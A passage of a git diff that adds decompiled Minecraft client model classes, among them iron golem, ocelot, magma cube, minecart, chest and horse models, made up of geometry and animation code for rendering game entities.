+    backRightHoof.rotationPointZ = backRightShin.rotationPointZ;
+    frontLeftHoof.rotationPointY = frontLeftShin.rotationPointY;
+    frontLeftHoof.rotationPointZ = frontLeftShin.rotationPointZ;
+    frontRightHoof.rotationPointY = frontRightShin.rotationPointY;
+    frontRightHoof.rotationPointZ = frontRightShin.rotationPointZ;
+    
+    if (var16)
+    {
+      horseSaddleBottom.rotationPointY = (var12 * 0.5F + var13 * 2.0F);
+      horseSaddleBottom.rotationPointZ = (var12 * 11.0F + var13 * 2.0F);
+      horseSaddleFront.rotationPointY = horseSaddleBottom.rotationPointY;
+      horseSaddleBack.rotationPointY = horseSaddleBottom.rotationPointY;
+      horseLeftSaddleRope.rotationPointY = horseSaddleBottom.rotationPointY;
+      horseRightSaddleRope.rotationPointY = horseSaddleBottom.rotationPointY;
+      horseLeftSaddleMetal.rotationPointY = horseSaddleBottom.rotationPointY;
+      horseRightSaddleMetal.rotationPointY = horseSaddleBottom.rotationPointY;
+      muleLeftChest.rotationPointY = muleRightChest.rotationPointY;
+      horseSaddleFront.rotationPointZ = horseSaddleBottom.rotationPointZ;
+      horseSaddleBack.rotationPointZ = horseSaddleBottom.rotationPointZ;
+      horseLeftSaddleRope.rotationPointZ = horseSaddleBottom.rotationPointZ;
+      horseRightSaddleRope.rotationPointZ = horseSaddleBottom.rotationPointZ;
+      horseLeftSaddleMetal.rotationPointZ = horseSaddleBottom.rotationPointZ;
+      horseRightSaddleMetal.rotationPointZ = horseSaddleBottom.rotationPointZ;
+      muleLeftChest.rotationPointZ = muleRightChest.rotationPointZ;
+      horseSaddleBottom.rotateAngleX = body.rotateAngleX;
+      horseSaddleFront.rotateAngleX = body.rotateAngleX;
+      horseSaddleBack.rotateAngleX = body.rotateAngleX;
+      horseLeftRein.rotationPointY = head.rotationPointY;
+      horseRightRein.rotationPointY = head.rotationPointY;
+      horseFaceRopes.rotationPointY = head.rotationPointY;
+      horseLeftFaceMetal.rotationPointY = head.rotationPointY;
+      horseRightFaceMetal.rotationPointY = head.rotationPointY;
+      horseLeftRein.rotationPointZ = head.rotationPointZ;
+      horseRightRein.rotationPointZ = head.rotationPointZ;
+      horseFaceRopes.rotationPointZ = head.rotationPointZ;
+      horseLeftFaceMetal.rotationPointZ = head.rotationPointZ;
+      horseRightFaceMetal.rotationPointZ = head.rotationPointZ;
+      horseLeftRein.rotateAngleX = var9;
+      horseRightRein.rotateAngleX = var9;
+      horseFaceRopes.rotateAngleX = head.rotateAngleX;
+      horseLeftFaceMetal.rotateAngleX = head.rotateAngleX;
+      horseRightFaceMetal.rotateAngleX = head.rotateAngleX;
+      horseFaceRopes.rotateAngleY = head.rotateAngleY;
+      horseLeftFaceMetal.rotateAngleY = head.rotateAngleY;
+      horseLeftRein.rotateAngleY = head.rotateAngleY;
+      horseRightFaceMetal.rotateAngleY = head.rotateAngleY;
+      horseRightRein.rotateAngleY = head.rotateAngleY;
+      
+      if (var17)
+      {
+        horseLeftSaddleRope.rotateAngleX = -1.0471976F;
+        horseLeftSaddleMetal.rotateAngleX = -1.0471976F;
+        horseRightSaddleRope.rotateAngleX = -1.0471976F;
+        horseRightSaddleMetal.rotateAngleX = -1.0471976F;
+        horseLeftSaddleRope.rotateAngleZ = 0.0F;
+        horseLeftSaddleMetal.rotateAngleZ = 0.0F;
+        horseRightSaddleRope.rotateAngleZ = 0.0F;
+        horseRightSaddleMetal.rotateAngleZ = 0.0F;
+      }
+      else
+      {
+        horseLeftSaddleRope.rotateAngleX = (var20 / 3.0F);
+        horseLeftSaddleMetal.rotateAngleX = (var20 / 3.0F);
+        horseRightSaddleRope.rotateAngleX = (var20 / 3.0F);
+        horseRightSaddleMetal.rotateAngleX = (var20 / 3.0F);
+        horseLeftSaddleRope.rotateAngleZ = (var20 / 5.0F);
+        horseLeftSaddleMetal.rotateAngleZ = (var20 / 5.0F);
+        horseRightSaddleRope.rotateAngleZ = (-var20 / 5.0F);
+        horseRightSaddleMetal.rotateAngleZ = (-var20 / 5.0F);
+      }
+    }
+    
+    var21 = -1.3089F + p_78086_3_ * 1.5F;
+    
+    if (var21 > 0.0F)
+    {
+      var21 = 0.0F;
+    }
+    
+    if (var15)
+    {
+      tailBase.rotateAngleY = MathHelper.cos(var18 * 0.7F);
+      var21 = 0.0F;
+    }
+    else
+    {
+      tailBase.rotateAngleY = 0.0F;
+    }
+    
+    tailMiddle.rotateAngleY = tailBase.rotateAngleY;
+    tailTip.rotateAngleY = tailBase.rotateAngleY;
+    tailMiddle.rotationPointY = tailBase.rotationPointY;
+    tailTip.rotationPointY = tailBase.rotationPointY;
+    tailMiddle.rotationPointZ = tailBase.rotationPointZ;
+    tailTip.rotationPointZ = tailBase.rotationPointZ;
+    tailBase.rotateAngleX = var21;
+    tailMiddle.rotateAngleX = var21;
+    tailTip.rotateAngleX = (-0.2618F + var21);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelHumanoidHead.java b/src/minecraft/net/minecraft/client/model/ModelHumanoidHead.java
new file mode 100644
index 0000000..1abb162
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelHumanoidHead.java
@@ -0,0 +1,37 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+
+public class ModelHumanoidHead extends ModelSkeletonHead
+{
+  private final ModelRenderer head = new ModelRenderer(this, 32, 0);
+  private static final String __OBFID = "CL_00002627";
+  
+  public ModelHumanoidHead()
+  {
+    super(0, 0, 64, 64);
+    head.addBox(-4.0F, -8.0F, -4.0F, 8, 8, 8, 0.25F);
+    head.setRotationPoint(0.0F, 0.0F, 0.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    super.render(p_78088_1_, p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_);
+    head.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    head.rotateAngleY = skeletonHead.rotateAngleY;
+    head.rotateAngleX = skeletonHead.rotateAngleX;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelIronGolem.java b/src/minecraft/net/minecraft/client/model/ModelIronGolem.java
new file mode 100644
index 0000000..0ef3810
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelIronGolem.java
@@ -0,0 +1,129 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityIronGolem;
+
+
+
+
+
+
+
+
+
+
+
+public class ModelIronGolem
+  extends ModelBase
+{
+  public ModelRenderer ironGolemHead;
+  public ModelRenderer ironGolemBody;
+  public ModelRenderer ironGolemRightArm;
+  public ModelRenderer ironGolemLeftArm;
+  public ModelRenderer ironGolemLeftLeg;
+  public ModelRenderer ironGolemRightLeg;
+  private static final String __OBFID = "CL_00000863";
+  
+  public ModelIronGolem()
+  {
+    this(0.0F);
+  }
+  
+  public ModelIronGolem(float p_i1161_1_)
+  {
+    this(p_i1161_1_, -7.0F);
+  }
+  
+  public ModelIronGolem(float p_i46362_1_, float p_i46362_2_)
+  {
+    short var3 = 128;
+    short var4 = 128;
+    ironGolemHead = new ModelRenderer(this).setTextureSize(var3, var4);
+    ironGolemHead.setRotationPoint(0.0F, 0.0F + p_i46362_2_, -2.0F);
+    ironGolemHead.setTextureOffset(0, 0).addBox(-4.0F, -12.0F, -5.5F, 8, 10, 8, p_i46362_1_);
+    ironGolemHead.setTextureOffset(24, 0).addBox(-1.0F, -5.0F, -7.5F, 2, 4, 2, p_i46362_1_);
+    ironGolemBody = new ModelRenderer(this).setTextureSize(var3, var4);
+    ironGolemBody.setRotationPoint(0.0F, 0.0F + p_i46362_2_, 0.0F);
+    ironGolemBody.setTextureOffset(0, 40).addBox(-9.0F, -2.0F, -6.0F, 18, 12, 11, p_i46362_1_);
+    ironGolemBody.setTextureOffset(0, 70).addBox(-4.5F, 10.0F, -3.0F, 9, 5, 6, p_i46362_1_ + 0.5F);
+    ironGolemRightArm = new ModelRenderer(this).setTextureSize(var3, var4);
+    ironGolemRightArm.setRotationPoint(0.0F, -7.0F, 0.0F);
+    ironGolemRightArm.setTextureOffset(60, 21).addBox(-13.0F, -2.5F, -3.0F, 4, 30, 6, p_i46362_1_);
+    ironGolemLeftArm = new ModelRenderer(this).setTextureSize(var3, var4);
+    ironGolemLeftArm.setRotationPoint(0.0F, -7.0F, 0.0F);
+    ironGolemLeftArm.setTextureOffset(60, 58).addBox(9.0F, -2.5F, -3.0F, 4, 30, 6, p_i46362_1_);
+    ironGolemLeftLeg = new ModelRenderer(this, 0, 22).setTextureSize(var3, var4);
+    ironGolemLeftLeg.setRotationPoint(-4.0F, 18.0F + p_i46362_2_, 0.0F);
+    ironGolemLeftLeg.setTextureOffset(37, 0).addBox(-3.5F, -3.0F, -3.0F, 6, 16, 5, p_i46362_1_);
+    ironGolemRightLeg = new ModelRenderer(this, 0, 22).setTextureSize(var3, var4);
+    ironGolemRightLeg.mirror = true;
+    ironGolemRightLeg.setTextureOffset(60, 0).setRotationPoint(5.0F, 18.0F + p_i46362_2_, 0.0F);
+    ironGolemRightLeg.addBox(-3.5F, -3.0F, -3.0F, 6, 16, 5, p_i46362_1_);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    ironGolemHead.render(p_78088_7_);
+    ironGolemBody.render(p_78088_7_);
+    ironGolemLeftLeg.render(p_78088_7_);
+    ironGolemRightLeg.render(p_78088_7_);
+    ironGolemRightArm.render(p_78088_7_);
+    ironGolemLeftArm.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    ironGolemHead.rotateAngleY = (p_78087_4_ / 57.295776F);
+    ironGolemHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+    ironGolemLeftLeg.rotateAngleX = (-1.5F * func_78172_a(p_78087_1_, 13.0F) * p_78087_2_);
+    ironGolemRightLeg.rotateAngleX = (1.5F * func_78172_a(p_78087_1_, 13.0F) * p_78087_2_);
+    ironGolemLeftLeg.rotateAngleY = 0.0F;
+    ironGolemRightLeg.rotateAngleY = 0.0F;
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    EntityIronGolem var5 = (EntityIronGolem)p_78086_1_;
+    int var6 = var5.getAttackTimer();
+    
+    if (var6 > 0)
+    {
+      ironGolemRightArm.rotateAngleX = (-2.0F + 1.5F * func_78172_a(var6 - p_78086_4_, 10.0F));
+      ironGolemLeftArm.rotateAngleX = (-2.0F + 1.5F * func_78172_a(var6 - p_78086_4_, 10.0F));
+    }
+    else
+    {
+      int var7 = var5.getHoldRoseTick();
+      
+      if (var7 > 0)
+      {
+        ironGolemRightArm.rotateAngleX = (-0.8F + 0.025F * func_78172_a(var7, 70.0F));
+        ironGolemLeftArm.rotateAngleX = 0.0F;
+      }
+      else
+      {
+        ironGolemRightArm.rotateAngleX = ((-0.2F + 1.5F * func_78172_a(p_78086_2_, 13.0F)) * p_78086_3_);
+        ironGolemLeftArm.rotateAngleX = ((-0.2F - 1.5F * func_78172_a(p_78086_2_, 13.0F)) * p_78086_3_);
+      }
+    }
+  }
+  
+  private float func_78172_a(float p_78172_1_, float p_78172_2_)
+  {
+    return (Math.abs(p_78172_1_ % p_78172_2_ - p_78172_2_ * 0.5F) - p_78172_2_ * 0.25F) / (p_78172_2_ * 0.25F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelLargeChest.java b/src/minecraft/net/minecraft/client/model/ModelLargeChest.java
new file mode 100644
index 0000000..1b799b3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelLargeChest.java
@@ -0,0 +1,25 @@
+package net.minecraft.client.model;
+
+public class ModelLargeChest extends ModelChest
+{
+  private static final String __OBFID = "CL_00000841";
+  
+  public ModelLargeChest()
+  {
+    chestLid = new ModelRenderer(this, 0, 0).setTextureSize(128, 64);
+    chestLid.addBox(0.0F, -5.0F, -14.0F, 30, 5, 14, 0.0F);
+    chestLid.rotationPointX = 1.0F;
+    chestLid.rotationPointY = 7.0F;
+    chestLid.rotationPointZ = 15.0F;
+    chestKnob = new ModelRenderer(this, 0, 0).setTextureSize(128, 64);
+    chestKnob.addBox(-1.0F, -2.0F, -15.0F, 2, 4, 1, 0.0F);
+    chestKnob.rotationPointX = 16.0F;
+    chestKnob.rotationPointY = 7.0F;
+    chestKnob.rotationPointZ = 15.0F;
+    chestBelow = new ModelRenderer(this, 0, 19).setTextureSize(128, 64);
+    chestBelow.addBox(0.0F, 0.0F, 0.0F, 30, 10, 14, 0.0F);
+    chestBelow.rotationPointX = 1.0F;
+    chestBelow.rotationPointY = 6.0F;
+    chestBelow.rotationPointZ = 1.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelLeashKnot.java b/src/minecraft/net/minecraft/client/model/ModelLeashKnot.java
new file mode 100644
index 0000000..95019b7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelLeashKnot.java
@@ -0,0 +1,44 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+
+public class ModelLeashKnot extends ModelBase
+{
+  public ModelRenderer field_110723_a;
+  private static final String __OBFID = "CL_00000843";
+  
+  public ModelLeashKnot()
+  {
+    this(0, 0, 32, 32);
+  }
+  
+  public ModelLeashKnot(int p_i46365_1_, int p_i46365_2_, int p_i46365_3_, int p_i46365_4_)
+  {
+    textureWidth = p_i46365_3_;
+    textureHeight = p_i46365_4_;
+    field_110723_a = new ModelRenderer(this, p_i46365_1_, p_i46365_2_);
+    field_110723_a.addBox(-3.0F, -6.0F, -3.0F, 6, 8, 6, 0.0F);
+    field_110723_a.setRotationPoint(0.0F, 0.0F, 0.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    field_110723_a.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    field_110723_a.rotateAngleY = (p_78087_4_ / 57.295776F);
+    field_110723_a.rotateAngleX = (p_78087_5_ / 57.295776F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelMagmaCube.java b/src/minecraft/net/minecraft/client/model/ModelMagmaCube.java
new file mode 100644
index 0000000..ca982bb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelMagmaCube.java
@@ -0,0 +1,72 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityMagmaCube;
+
+public class ModelMagmaCube extends ModelBase
+{
+  ModelRenderer[] segments = new ModelRenderer[8];
+  ModelRenderer core;
+  private static final String __OBFID = "CL_00000842";
+  
+  public ModelMagmaCube()
+  {
+    for (int var1 = 0; var1 < segments.length; var1++)
+    {
+      byte var2 = 0;
+      int var3 = var1;
+      
+      if (var1 == 2)
+      {
+        var2 = 24;
+        var3 = 10;
+      }
+      else if (var1 == 3)
+      {
+        var2 = 24;
+        var3 = 19;
+      }
+      
+      segments[var1] = new ModelRenderer(this, var2, var3);
+      segments[var1].addBox(-4.0F, 16 + var1, -4.0F, 8, 1, 8);
+    }
+    
+    core = new ModelRenderer(this, 0, 16);
+    core.addBox(-2.0F, 18.0F, -2.0F, 4, 4, 4);
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    EntityMagmaCube var5 = (EntityMagmaCube)p_78086_1_;
+    float var6 = prevSquishFactor + (squishFactor - prevSquishFactor) * p_78086_4_;
+    
+    if (var6 < 0.0F)
+    {
+      var6 = 0.0F;
+    }
+    
+    for (int var7 = 0; var7 < segments.length; var7++)
+    {
+      segments[var7].rotationPointY = (-(4 - var7) * var6 * 1.7F);
+    }
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    core.render(p_78088_7_);
+    
+    for (int var8 = 0; var8 < segments.length; var8++)
+    {
+      segments[var8].render(p_78088_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelMinecart.java b/src/minecraft/net/minecraft/client/model/ModelMinecart.java
new file mode 100644
index 0000000..a25498d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelMinecart.java
@@ -0,0 +1,53 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+
+public class ModelMinecart extends ModelBase
+{
+  public ModelRenderer[] sideModels = new ModelRenderer[7];
+  private static final String __OBFID = "CL_00000844";
+  
+  public ModelMinecart()
+  {
+    sideModels[0] = new ModelRenderer(this, 0, 10);
+    sideModels[1] = new ModelRenderer(this, 0, 0);
+    sideModels[2] = new ModelRenderer(this, 0, 0);
+    sideModels[3] = new ModelRenderer(this, 0, 0);
+    sideModels[4] = new ModelRenderer(this, 0, 0);
+    sideModels[5] = new ModelRenderer(this, 44, 10);
+    byte var1 = 20;
+    byte var2 = 8;
+    byte var3 = 16;
+    byte var4 = 4;
+    sideModels[0].addBox(-var1 / 2, -var3 / 2, -1.0F, var1, var3, 2, 0.0F);
+    sideModels[0].setRotationPoint(0.0F, var4, 0.0F);
+    sideModels[5].addBox(-var1 / 2 + 1, -var3 / 2 + 1, -1.0F, var1 - 2, var3 - 2, 1, 0.0F);
+    sideModels[5].setRotationPoint(0.0F, var4, 0.0F);
+    sideModels[1].addBox(-var1 / 2 + 2, -var2 - 1, -1.0F, var1 - 4, var2, 2, 0.0F);
+    sideModels[1].setRotationPoint(-var1 / 2 + 1, var4, 0.0F);
+    sideModels[2].addBox(-var1 / 2 + 2, -var2 - 1, -1.0F, var1 - 4, var2, 2, 0.0F);
+    sideModels[2].setRotationPoint(var1 / 2 - 1, var4, 0.0F);
+    sideModels[3].addBox(-var1 / 2 + 2, -var2 - 1, -1.0F, var1 - 4, var2, 2, 0.0F);
+    sideModels[3].setRotationPoint(0.0F, var4, -var3 / 2 + 1);
+    sideModels[4].addBox(-var1 / 2 + 2, -var2 - 1, -1.0F, var1 - 4, var2, 2, 0.0F);
+    sideModels[4].setRotationPoint(0.0F, var4, var3 / 2 - 1);
+    sideModels[0].rotateAngleX = 1.5707964F;
+    sideModels[1].rotateAngleY = 4.712389F;
+    sideModels[2].rotateAngleY = 1.5707964F;
+    sideModels[3].rotateAngleY = 3.1415927F;
+    sideModels[5].rotateAngleX = -1.5707964F;
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    sideModels[5].rotationPointY = (4.0F - p_78088_4_);
+    
+    for (int var8 = 0; var8 < 6; var8++)
+    {
+      sideModels[var8].render(p_78088_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelOcelot.java b/src/minecraft/net/minecraft/client/model/ModelOcelot.java
new file mode 100644
index 0000000..10bdca4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelOcelot.java
@@ -0,0 +1,220 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelOcelot
+  extends ModelBase
+{
+  ModelRenderer ocelotBackLeftLeg;
+  ModelRenderer ocelotBackRightLeg;
+  ModelRenderer ocelotFrontLeftLeg;
+  ModelRenderer ocelotFrontRightLeg;
+  ModelRenderer ocelotTail;
+  ModelRenderer ocelotTail2;
+  ModelRenderer ocelotHead;
+  ModelRenderer ocelotBody;
+  int field_78163_i = 1;
+  private static final String __OBFID = "CL_00000848";
+  
+  public ModelOcelot()
+  {
+    setTextureOffset("head.main", 0, 0);
+    setTextureOffset("head.nose", 0, 24);
+    setTextureOffset("head.ear1", 0, 10);
+    setTextureOffset("head.ear2", 6, 10);
+    ocelotHead = new ModelRenderer(this, "head");
+    ocelotHead.addBox("main", -2.5F, -2.0F, -3.0F, 5, 4, 5);
+    ocelotHead.addBox("nose", -1.5F, 0.0F, -4.0F, 3, 2, 2);
+    ocelotHead.addBox("ear1", -2.0F, -3.0F, 0.0F, 1, 1, 2);
+    ocelotHead.addBox("ear2", 1.0F, -3.0F, 0.0F, 1, 1, 2);
+    ocelotHead.setRotationPoint(0.0F, 15.0F, -9.0F);
+    ocelotBody = new ModelRenderer(this, 20, 0);
+    ocelotBody.addBox(-2.0F, 3.0F, -8.0F, 4, 16, 6, 0.0F);
+    ocelotBody.setRotationPoint(0.0F, 12.0F, -10.0F);
+    ocelotTail = new ModelRenderer(this, 0, 15);
+    ocelotTail.addBox(-0.5F, 0.0F, 0.0F, 1, 8, 1);
+    ocelotTail.rotateAngleX = 0.9F;
+    ocelotTail.setRotationPoint(0.0F, 15.0F, 8.0F);
+    ocelotTail2 = new ModelRenderer(this, 4, 15);
+    ocelotTail2.addBox(-0.5F, 0.0F, 0.0F, 1, 8, 1);
+    ocelotTail2.setRotationPoint(0.0F, 20.0F, 14.0F);
+    ocelotBackLeftLeg = new ModelRenderer(this, 8, 13);
+    ocelotBackLeftLeg.addBox(-1.0F, 0.0F, 1.0F, 2, 6, 2);
+    ocelotBackLeftLeg.setRotationPoint(1.1F, 18.0F, 5.0F);
+    ocelotBackRightLeg = new ModelRenderer(this, 8, 13);
+    ocelotBackRightLeg.addBox(-1.0F, 0.0F, 1.0F, 2, 6, 2);
+    ocelotBackRightLeg.setRotationPoint(-1.1F, 18.0F, 5.0F);
+    ocelotFrontLeftLeg = new ModelRenderer(this, 40, 0);
+    ocelotFrontLeftLeg.addBox(-1.0F, 0.0F, 0.0F, 2, 10, 2);
+    ocelotFrontLeftLeg.setRotationPoint(1.2F, 13.8F, -5.0F);
+    ocelotFrontRightLeg = new ModelRenderer(this, 40, 0);
+    ocelotFrontRightLeg.addBox(-1.0F, 0.0F, 0.0F, 2, 10, 2);
+    ocelotFrontRightLeg.setRotationPoint(-1.2F, 13.8F, -5.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    
+    if (isChild)
+    {
+      float var8 = 2.0F;
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(1.5F / var8, 1.5F / var8, 1.5F / var8);
+      GlStateManager.translate(0.0F, 10.0F * p_78088_7_, 4.0F * p_78088_7_);
+      ocelotHead.render(p_78088_7_);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(1.0F / var8, 1.0F / var8, 1.0F / var8);
+      GlStateManager.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
+      ocelotBody.render(p_78088_7_);
+      ocelotBackLeftLeg.render(p_78088_7_);
+      ocelotBackRightLeg.render(p_78088_7_);
+      ocelotFrontLeftLeg.render(p_78088_7_);
+      ocelotFrontRightLeg.render(p_78088_7_);
+      ocelotTail.render(p_78088_7_);
+      ocelotTail2.render(p_78088_7_);
+      GlStateManager.popMatrix();
+    }
+    else
+    {
+      ocelotHead.render(p_78088_7_);
+      ocelotBody.render(p_78088_7_);
+      ocelotTail.render(p_78088_7_);
+      ocelotTail2.render(p_78088_7_);
+      ocelotBackLeftLeg.render(p_78088_7_);
+      ocelotBackRightLeg.render(p_78088_7_);
+      ocelotFrontLeftLeg.render(p_78088_7_);
+      ocelotFrontRightLeg.render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    ocelotHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+    ocelotHead.rotateAngleY = (p_78087_4_ / 57.295776F);
+    
+    if (field_78163_i != 3)
+    {
+      ocelotBody.rotateAngleX = 1.5707964F;
+      
+      if (field_78163_i == 2)
+      {
+        ocelotBackLeftLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.0F * p_78087_2_);
+        ocelotBackRightLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 0.3F) * 1.0F * p_78087_2_);
+        ocelotFrontLeftLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F + 0.3F) * 1.0F * p_78087_2_);
+        ocelotFrontRightLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.0F * p_78087_2_);
+        ocelotTail2.rotateAngleX = (1.7278761F + 0.31415927F * MathHelper.cos(p_78087_1_) * p_78087_2_);
+      }
+      else
+      {
+        ocelotBackLeftLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.0F * p_78087_2_);
+        ocelotBackRightLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.0F * p_78087_2_);
+        ocelotFrontLeftLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.0F * p_78087_2_);
+        ocelotFrontRightLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.0F * p_78087_2_);
+        
+        if (field_78163_i == 1)
+        {
+          ocelotTail2.rotateAngleX = (1.7278761F + 0.7853982F * MathHelper.cos(p_78087_1_) * p_78087_2_);
+        }
+        else
+        {
+          ocelotTail2.rotateAngleX = (1.7278761F + 0.47123894F * MathHelper.cos(p_78087_1_) * p_78087_2_);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    EntityOcelot var5 = (EntityOcelot)p_78086_1_;
+    ocelotBody.rotationPointY = 12.0F;
+    ocelotBody.rotationPointZ = -10.0F;
+    ocelotHead.rotationPointY = 15.0F;
+    ocelotHead.rotationPointZ = -9.0F;
+    ocelotTail.rotationPointY = 15.0F;
+    ocelotTail.rotationPointZ = 8.0F;
+    ocelotTail2.rotationPointY = 20.0F;
+    ocelotTail2.rotationPointZ = 14.0F;
+    ocelotFrontLeftLeg.rotationPointY = (ocelotFrontRightLeg.rotationPointY = 13.8F);
+    ocelotFrontLeftLeg.rotationPointZ = (ocelotFrontRightLeg.rotationPointZ = -5.0F);
+    ocelotBackLeftLeg.rotationPointY = (ocelotBackRightLeg.rotationPointY = 18.0F);
+    ocelotBackLeftLeg.rotationPointZ = (ocelotBackRightLeg.rotationPointZ = 5.0F);
+    ocelotTail.rotateAngleX = 0.9F;
+    
+    if (var5.isSneaking())
+    {
+      ocelotBody.rotationPointY += 1.0F;
+      ocelotHead.rotationPointY += 2.0F;
+      ocelotTail.rotationPointY += 1.0F;
+      ocelotTail2.rotationPointY += -4.0F;
+      ocelotTail2.rotationPointZ += 2.0F;
+      ocelotTail.rotateAngleX = 1.5707964F;
+      ocelotTail2.rotateAngleX = 1.5707964F;
+      field_78163_i = 0;
+    }
+    else if (var5.isSprinting())
+    {
+      ocelotTail2.rotationPointY = ocelotTail.rotationPointY;
+      ocelotTail2.rotationPointZ += 2.0F;
+      ocelotTail.rotateAngleX = 1.5707964F;
+      ocelotTail2.rotateAngleX = 1.5707964F;
+      field_78163_i = 2;
+    }
+    else if (var5.isSitting())
+    {
+      ocelotBody.rotateAngleX = 0.7853982F;
+      ocelotBody.rotationPointY += -4.0F;
+      ocelotBody.rotationPointZ += 5.0F;
+      ocelotHead.rotationPointY += -3.3F;
+      ocelotHead.rotationPointZ += 1.0F;
+      ocelotTail.rotationPointY += 8.0F;
+      ocelotTail.rotationPointZ += -2.0F;
+      ocelotTail2.rotationPointY += 2.0F;
+      ocelotTail2.rotationPointZ += -0.8F;
+      ocelotTail.rotateAngleX = 1.7278761F;
+      ocelotTail2.rotateAngleX = 2.670354F;
+      ocelotFrontLeftLeg.rotateAngleX = (ocelotFrontRightLeg.rotateAngleX = -0.15707964F);
